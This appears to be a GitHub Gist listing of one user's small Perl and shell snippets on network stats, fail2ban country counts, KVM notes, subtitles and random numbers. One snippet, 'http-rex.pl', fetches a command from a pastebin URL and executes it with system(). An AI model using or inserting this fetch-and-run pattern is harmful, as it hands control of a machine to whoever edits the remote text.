Skip to content

Instantly share code, notes, and snippets.

View jreisinger's full-sized avatar
👋
hello friend

Jozef Reisinger jreisinger

👋
hello friend
View GitHub Profile
@jreisinger
jreisinger / net_stats.pl
Last active December 18, 2015 02:39
Typical data reduction using references. Get input file (coconet.dat) from http://www.intermediateperl.com/downloads_page/.
#!/usr/bin/perl
use strict;
use warnings;
my $all = "**all machines**";
my %total_bytes;
while (<>) {
next if /^#/;
my ( $src, $dst, $bytes ) = split;
$total_bytes{$src}{$dst} += $bytes;
@jreisinger
jreisinger / fail2ban-country.pl
Created June 21, 2013 00:16
Count countries bruteforcing some port(s).
#!/usr/bin/perl
use strict;
use warnings;
use Geo::IP;
my %country;
while (<>) {
my $ip = $1 if /an ([\d\.]+)$/;
$country{$ip} = 1 if $ip;
}

LVM, RAID

Virtualization (KVM)

  • kernel modules: kvm kvm_intel
  • deb pkgs: libvirt0 qemu-kvm
  • bridged networking
@jreisinger
jreisinger / http-rex.pl
Last active December 19, 2015 01:19
Remote execution over HTTP
#!/usr/bin/perl
use strict;
use warnings;
use Win32::Internet;
my $url = "http://pastebin.com/raw.php?i=xK7vweJ1";
my $INET = new Win32::Internet();
my $cmd = $INET->FetchURL($url);
system $cmd;
@jreisinger
jreisinger / subs
Created September 9, 2013 18:22
Add subtitles to Raymond
#!/usr/bin/perl
use strict;
use warnings;
use File::Basename;
my $movies = shift;
die "Usage: $0 '<movie_dir>'\n" unless $movies;
my @movies = glob "$movies/*.avi";
@movies = map basename($_), @movies; # get just filenames
@jreisinger
jreisinger / do_block.pl
Last active January 1, 2016 01:29
The power of the do block
#!/usr/bin/perl
use strict;
use warnings;
my $n = shift;
#my $desc;
#if ( $n > 0 ) {
# $desc = 'positive';
#} elsif ( $n < 0 ) {
# generate and sum million random numbers
for ((i=0; i<1000000; i++)); do echo $RANDOM; done | perl -lne '$sum += $_ } END { print $sum'
#!/usr/bin/perl
use strict;
use warnings;
use v5.10; # to have say
# Get five random dates in the format MM-DD-YYYY
my @dates;
my $n = 0;
while ( $n++ <= 4 ) {
#<<<